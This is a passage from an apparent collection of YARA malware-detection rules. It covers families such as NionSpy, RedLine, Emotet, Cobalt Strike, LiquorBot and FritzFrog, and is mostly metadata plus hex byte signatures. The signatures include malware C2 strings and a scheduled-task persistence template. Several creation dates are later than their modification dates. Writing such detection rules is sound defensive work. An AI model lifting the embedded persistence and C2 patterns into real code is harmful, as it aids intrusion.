		$sequence = { 7B??72??6631??????65666C616E6731??32??????????69??????????????67????36??75??32??????656666????35????????656666????????73??666462????33??35????????74??68????????68????????36??73??73??66??????68????????36??73??73??6662????5C646566??616E6731??33??5C646566??616E67666532??35????????656D656C616E6731??33??5C74??656D656C616E67666532??35????????656D656C616E6763????7B??666F6E74??62??????6630??????69??????????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????6631??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??5C6633????6662????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??6120????74??3B????0A????6633??5C6662????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6633??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??5C2763????2763????2763????276535????????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??613B????5C6662????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????666C6F6D69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6E6F72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????69????????????31??????????62????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6662????69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??6634??5C6662????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??0A????6631??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C6633??30??????69??????????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????74??20????3B????5C6633??31??????69??????????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????74??20????72??7D??5C6633??33??????69??????????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????74??20????6565??????0D????????33??34??6662????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120????74??20??????3B????5C6633??375C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????74??20????6C74??63??7D??5C6633??38??????69??????????????6D616E5C6663????72??6574??3633??????72??32??43616D62????6120????74??20??5669????????????73??29??7D??5C6634??30??????69??????????????69????????????6172??6574??33??5C6670??71??20????6C69????????????3B????0A????6634??31??????69??????????????69????????????6172??6574??30????6670??71??20????6C69????????????72??7D??5C6634??33??????69??????????????69????????????6172??6574??3631??????72??32??43616C69????????????6565??????7B??6634??34??6662????69??????????69????????????6172??6574??3632??????72??32??43616C69????????????72??7D??5C6634??375C6662????69??????????69????????????6172??6574??38??5C6670??71??20????6C69????????????6C74??63??7D??0A????6634??38??????69??????????????69????????????6172??6574??3633??????72??32??43616C69????????????69????????????73??29??7D??5C6634??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????2763????2763????2763????276535????????74??72??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????72??7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????6565??????7B??66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120??????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????6C74??63??7D??5C66??????616A?? }
	condition:
		uint16( 0 ) == 0x5c7b and filesize < 100KB and all of them
}

rule TRELLIX_ARC_Nionspy : FILEINFECTOR FILE
{
	meta:
		description = "Triggers on old and new variants of W32/NionSpy file infector"
		author = "Trellix ARC Team"
		id = "86051ef8-a18b-553c-b06c-490f8d6df5cf"
		date = "2026-03-01"
		modified = "2020-08-14"
		reference = "https://blogs.mcafee.com/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_NionSpy.yar#L1-L25"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "982ba52f39352aee9e2d2dcadfb0816c439e92d0e5947afa7860630720913742"
		score = 75
		quality = 70
		tags = "FILEINFECTOR, FILE"
		malware_type = "fileinfector"
		malware_family = "FileInfector:W32/NionSpy"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$variant2015_infmarker = "aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT"
		$variant2013_infmarker = "ad6af8bd5835d19cc7fdc4c62fdf02a1"
		$variant2013_string = "%s?cstorage=shell&comp=%s"
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and 1 of ( $variant* )
}

rule TRELLIX_ARC_Shifu : FINANCIAL
{
	meta:
		description = "No description has been set in the source file - Trellix ARC"
		author = "McAfee Labs"
		id = "81e9ad25-1df0-5196-be8b-1d1d5d8e4387"
		date = "2026-03-01"
		modified = "2020-08-14"
		reference = "https://blogs.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Shifu.yar#L1-L24"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "dfa6165f8d2750330c71dedbde293780d2bb27e8eb3635e47ca770ff7b9a9d63"
		score = 75
		quality = 70
		tags = "FINANCIAL"
		malware_type = "financial"
		malware_family = "Backdoor:W32/Shifu"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$b = "RegCreateKeyA"
		$a = "CryptCreateHash"
		$c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E}
		$d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65}
		$e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45}
	condition:
		all of them
}

rule TRELLIX_ARC_Redline_Payload : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the RedLine payload"
		author = "Marc Rivero | McAfee ATR Team"
		id = "61c2032f-1e6b-5123-8f99-ff83ae95e8a9"
		date = "2020-04-16"
		modified = "2020-08-14"
		reference = "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_redline.yar#L1-L38"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "5df956f08d6ad0559efcdb7b7a59b2f3b95dee9e2aa6b76602c46e2aba855eff"
		logic_hash = "44df161b7434b9137ca5bb919eb314f8447b216b3f6e1214606a898fb36ee4f4"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/RedLine"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$s1 = "Cambrel.exe" fullword ascii
		$s2 = { 22 00 54 00 65 00 78 00 74 00 49 00 6e 00 70 00 75 00 74 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 44 00 59 00 4e 00 4c 00 49 00 4e 00 4b 00 22 00 }
		$op0 = { 06 7c 34 00 00 04 7b 17 00 00 04 7e 21 00 00 0a }
		$op1 = { 96 00 92 0e 83 02 02 00 f4 20 }
		$op2 = { 03 00 c6 01 d9 08 1b 03 44 }
		$p0 = { 80 00 96 20 83 11 b7 02 10 }
		$p1 = { 20 01 00 72 0f 00 20 02 00 8a 0f 00 20 03 00 61 }
		$p2 = { 03 00 c6 01 cd 06 13 03 79 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of ( $s* ) and all of ( $op* ) or all of ( $p* )
}

rule TRELLIX_ARC_Rietspoof_Loader : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect the Rietspoof loader"
		author = "Marc Rivero | McAfee ATR Team"
		id = "f306e381-e2ae-528e-937b-aced72356d77"
		date = "2026-03-01"
		modified = "2020-08-14"
		reference = "https://blog.avast.com/rietspoof-malware-increases-activity"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_rietspoof_loader.yar#L1-L22"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "d72b58ff452070e03d0b25bc433ef5c677df77dd440adc1ecdb592cee24235fb"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		malware_type = "ransomware"
		malware_family = "Loader:W32/Rietspoof"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$x1 = "\\Work\\d2Od7s43\\techloader\\loader" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule TRELLIX_ARC_MALW_Liquorbot : MALWARE FILE
{
	meta:
		description = "Rule to detect LiquorBot malware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "73898df8-b5eb-50ac-a2fe-ef9233c251c5"
		date = "2020-08-19"
		modified = "2020-08-19"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_liquorbot.yar#L1-L23"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "2448e3ede809331b2370fe9d42d603ad6508be6531a1a8764e0e0621867b6e89"
		score = 75
		quality = 70
		tags = "MALWARE, FILE"
		rule_version = "v1"
		malware_type = "malware"
		malware_family = "Botnet:W32/LiquorBot"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "5b2a9cbda99ed903f75c3b37f0a6b1b9f6c39671a76ed652f3ddba117fd43bc9"
	strings:
		$pattern = { 7F454C4602010100000000000000000002003E0001000000605A4600000000004000000000000000700200000000000000000000400038000A0040001B00090006000000040000004000000000000000400040000000000040004000000000003002000000000000300200000000000000100000000000000300000004000000E00F000000000000E00F400000000000E00F40000000000020000000000000002000000000000000010000000000000004000000040000007C0F0000000000007C0F4000000000007C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000040FB29000000000040FB2900000000000010000000000000010000000400000000002A000000000000006A000000000000006A0000000000E4492C0000000000E4492C000000000000100000000000000100000006000000005056000000000000509600000000000050960000000000E014040000000000681307000000000000100000000000000200000006000000405156000000000040519600000000004051960000000000300100000000000030010000000000000800000000000000070000000400000000000000000000000000000000000000000000000000000000000000000000000800000000000000080000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A00000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000600000000000000001040000000000000100000000000001FE9290000000000000000000000000010000000000000000000000000000000F000000001000000060000000000000020F969000000000020F929000000000020020000000000000000000000000000100000000000000010000000000000007000000001000000020000000000000000006A000000000000002A0000000000A678110000000000000000000000000020000000000000000000000000000000E0000000040000000200000000000000A8787B0000000000A8783B000000000018000000000000000B0000000000000008000000000000001800000000000000E6000000040000000200000000000000C0787B0000000000C0783B000000000018030000000000000B0000000200000008000000000000001800000000000000F5000000FF }
	condition:
		uint16( 0 ) == 0x457f and all of them
}

rule TRELLIX_ARC_MALW_Emotet : FINANCIAL FILE
{
	meta:
		description = "Rule to detect unpacked Emotet"
		author = "Marc Rivero | McAfee ATR Team"
		id = "5bc83065-dfdd-56b7-9983-200bff35c8b1"
		date = "2020-07-21"
		modified = "2020-08-14"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_emotet.yar#L1-L32"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "223e4453a6c3b56b0bc0f91147fa55ea59582d64b8a5c08f1f8d06026044065e"
		score = 75
		quality = 70
		tags = "FINANCIAL, FILE"
		rule_version = "v1"
		malware_type = "financial"
		malware_family = "Backdoor:W32/Emotet"
		actor_type = "Cybercrime"
		hash1 = "a6621c093047446e0e8ae104769af93a5a8ed147ab8865afaafbbd22adbd052d"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$pattern_0 = { 8b45fc 8be5 5d c3 55 8bec }
		$pattern_1 = { 3c39 7e13 3c61 7c04 3c7a 7e0b 3c41 }
		$pattern_2 = { 7c04 3c39 7e13 3c61 7c04 3c7a 7e0b }
		$pattern_3 = { 5f 8bc6 5e 5b 8be5 }
		$pattern_4 = { 5f 668906 5e 5b }
		$pattern_5 = { 3c30 7c04 3c39 7e13 3c61 7c04 }
		$pattern_6 = { 53 56 57 8bfa 8bf1 }
		$pattern_7 = { 3c39 7e13 3c61 7c04 3c7a 7e0b }
		$pattern_8 = { 55 8bec 83ec14 53 }
		$pattern_9 = { 5e 8be5 5d c3 55 8bec }
	condition:
		7 of them and filesize < 180224
}

rule TRELLIX_ARC_Cyaxsharp_Rezer0 : LOADER
{
	meta:
		description = "Detects CyaX-Sharp/ReZer0 loader samples based on the embedded scheduled task template"
		author = "Max 'Libra' Kersten for McAfee's Advanced Threat Research Team"
		id = "7a1addcf-4e8f-5290-8788-9b0738128160"
		date = "2021-04-08"
		modified = "2021-08-04"
		reference = "This rule was published in combination with the following McAfee ATR blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/see-ya-sharp-a-loaders-tale/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MAL_cyax_sharp_loader.yar#L1-L16"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "3d6daaf7a85a9b3898e4ce5d5293b09f26965f9f7280b34ba8f6814b7f14dec2"
		score = 75
		quality = 70
		tags = "LOADER"
		version = "1.0"
		malware_type = "loader"
	strings:
		$template = { 01A10C3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0D0A3C5461736B2076657273696F6E3D22312E322220786D6C6E733D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030342F30322F6D69742F7461736B223E0D0A20203C526567697374726174696F6E496E666F3E0D0A202020203C446174653E323031342D31302D32355431343A32373A34342E383932393032373C2F446174653E0D0A202020203C417574686F723E5B5553455249445D3C2F417574686F723E0D0A20203C2F526567697374726174696F6E496E666F3E0D0A20203C54726967676572733E0D0A202020203C4C6F676F6E547269676765723E0D0A2020202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A202020203C2F4C6F676F6E547269676765723E0D0A202020203C526567697374726174696F6E547269676765723E0D0A2020202020203C456E61626C65643E66616C73653C2F456E61626C65643E0D0A202020203C2F526567697374726174696F6E547269676765723E0D0A20203C2F54726967676572733E0D0A20203C5072696E636970616C733E0D0A202020203C5072696E636970616C2069643D22417574686F72223E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A2020202020203C4C6F676F6E547970653E496E746572616374697665546F6B656E3C2F4C6F676F6E547970653E0D0A2020202020203C52756E4C6576656C3E4C6561737450726976696C6567653C2F52756E4C6576656C3E0D0A202020203C2F5072696E636970616C3E0D0A20203C2F5072696E636970616C733E0D0A20203C53657474696E67733E0D0A202020203C4D756C7469706C65496E7374616E636573506F6C6963793E53746F704578697374696E673C2F4D756C7469706C65496E7374616E636573506F6C6963793E0D0A202020203C446973616C6C6F77537461727449664F6E4261747465726965733E66616C73653C2F446973616C6C6F77537461727449664F6E4261747465726965733E0D0A202020203C53746F704966476F696E674F6E4261747465726965733E747275653C2F53746F704966476F696E674F6E4261747465726965733E0D0A202020203C416C6C6F77486172645465726D696E6174653E66616C73653C2F416C6C6F77486172645465726D696E6174653E0D0A202020203C53746172745768656E417661696C61626C653E747275653C2F53746172745768656E417661696C61626C653E0D0A202020203C52756E4F6E6C7949664E6574776F726B417661696C61626C653E66616C73653C2F52756E4F6E6C7949664E6574776F726B417661696C61626C653E0D0A202020203C49646C6553657474696E67733E0D0A2020202020203C53746F704F6E49646C65456E643E747275653C2F53746F704F6E49646C65456E643E0D0A2020202020203C526573746172744F6E49646C653E66616C73653C2F526573746172744F6E49646C653E0D0A202020203C2F49646C6553657474696E67733E0D0A202020203C416C6C6F7753746172744F6E44656D616E643E747275653C2F416C6C6F7753746172744F6E44656D616E643E0D0A202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A202020203C48696464656E3E66616C73653C2F48696464656E3E0D0A202020203C52756E4F6E6C79496649646C653E66616C73653C2F52756E4F6E6C79496649646C653E0D0A202020203C57616B65546F52756E3E66616C73653C2F57616B65546F52756E3E0D0A202020203C457865637574696F6E54696D654C696D69743E505430533C2F457865637574696F6E54696D654C696D69743E0D0A202020203C5072696F726974793E373C2F5072696F726974793E0D0A20203C2F53657474696E67733E0D0A20203C416374696F6E7320436F6E746578743D22417574686F72223E0D0A202020203C457865633E0D0A2020202020203C436F6D6D616E643E5B4C4F434154494F4E5D3C2F436F6D6D616E643E0D0A202020203C2F457865633E0D0A20203C2F416374696F6E733E0D0A3C2F5461736B3E }
	condition:
		$template
}

rule TRELLIX_ARC_MALW_Cobaltrike : BACKDOOR FILE
{
	meta:
		description = "Rule to detect CobaltStrike beacon"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a7dae4c7-672e-58fb-8542-90fa90d991a4"
		date = "2020-07-19"
		modified = "2021-08-30"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_cobaltstrike.yar#L1-L38"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "fc91d40c6544c7ab7c60b3cb8fc542bd4a6fac79dbe00cad8f612854f2a6dcd1"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/CobaltStrike"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "f47a627880bfa4a117fec8be74ab206690e5eb0e9050331292e032cd22883f5b"
	strings:
		$pattern_0 = { e9???????? eb0a b801000000 e9???????? }
		$pattern_1 = { 3bc7 750d ff15???????? 3d33270000 }
		$pattern_2 = { 8bd0 e8???????? 85c0 7e0e }
		$pattern_3 = { 50 8d8d24efffff 51 e8???????? }
		$pattern_4 = { 03b5d4eeffff 89b5c8eeffff 3bf7 72bd 3bf7 }
		$pattern_5 = { 8b450c 8945f4 8d45f4 50 }
		$pattern_6 = { 33c5 8945fc 8b4508 53 56 ff750c 33db }
		$pattern_7 = { e8???????? e9???????? 833d????????01 7505 e8???????? }
		$pattern_8 = { 53 53 8d85f4faffff 50 }
		$pattern_9 = { 68???????? 53 50 e8???????? 83c424 }
		$pattern_10 = { 488b4c2420 8b0401 8b4c2408 33c8 8bc1 89442408 }
		$pattern_11 = { 488d4d97 e8???????? 4c8d9c24d0000000 418bc7 498b5b20 498b7328 498b7b30 }
		$pattern_12 = { bd08000000 85d2 7459 ffcf 4d85ed }
		$pattern_13 = { 4183c9ff 33d2 ff15???????? 4c63c0 4983f8ff }
		$pattern_14 = { 49c1e002 e8???????? 03f3 4d8d349e 3bf5 7d13 }
		$pattern_15 = { 752c 4c8d45af 488d55af 488d4d27 }
	condition:
		7 of them and filesize < 696320
}

rule TRELLIX_ARC_MALW_Fritzfrog : BOTNET FILE
{
	meta:
		description = "Rule to detect Fritzfrog"
		author = "Marc Rivero | McAfee ATR Team"
		id = "4c553279-7e0c-5602-944d-ad8a47edf4ea"
		date = "2020-08-20"
		modified = "2020-08-20"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_fritzfrog.yar#L1-L26"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "488c807ecf0a9e981b2c1f2f5bb2e3072952d11f7cbf3a354bc85dc8e88b8b09"
		score = 75
		quality = 70
		tags = "BOTNET, FILE"
		rule_version = "v1"
		malware_type = "botnet"
		malware_family = "Botnet:W32/Fritzfrog"
		actor_type = "Cybercrime"
		hash1 = "103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$pattern = { 7F454C4602010100000000000000000002003E000100000090D34500000000004000000000000000C8010000000000000000000040003800070040000D000300060000000400000040000000000000004000400000000000400040000000000088010000000000008801000000000000001000000000000004000000040000009C0F0000000000009C0F4000000000009C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000083F23E000000000083F23E00000000000010000000000000010000000400000000003F000000000000007F000000000000007F00000000006C834500000000006C834500000000000010000000000000010000000600000000908400000000000090C400000000000090C4000000000060EC0400000000005809070000000000001000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000006000000000000000010400000000000001000000000000083E23E00000000000000000000000000100000000000000000000000000000004100000001000000020000000000000000007F000000000000003F0000000000C0271B0000000000000000000000000020000000000000000000000000000000720000000300000000000000000000000000000000000000C0275A00000000007C000000000000000000000000000000010000000000000000000000000000004900000001000000020000000000000040289A000000000040285A0000000000D83600000000000000000000000000002000000000000000000000000000000053000000010000000200000000000000185F9A0000000000185F5A0000000000380D0000000000000000000000000000080000000000000000000000000000005D000000010000000200000000000000506C9A0000000000506C5A0000000000000000000000000000000000000000000100000000000000000000000000000067000000010000000200000000000000606C9A0000000000606C5A00000000000C172A0000000000000000000000000020000000000000000000000000000000070000000100000003000000000000000090C400000000000090840000000000004B0300000000000000000000000000200000000000000000000000000000001200000001000000030000000000000000DBC7000000000000DB87000000000050A101000000000000000000000000002000000000000000000000000000000018000000080000000300000000000000607CC90000000000607C890000000000D0E80100000000000000000000000000200000000000000000000000000000001D0000000800000003000000000000004065CB000000000040658B00000000001834000000000000000000000000000020000000000000000000000000000000270000000700000002000000000000009C0F4000000000009C0F000000000000640000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000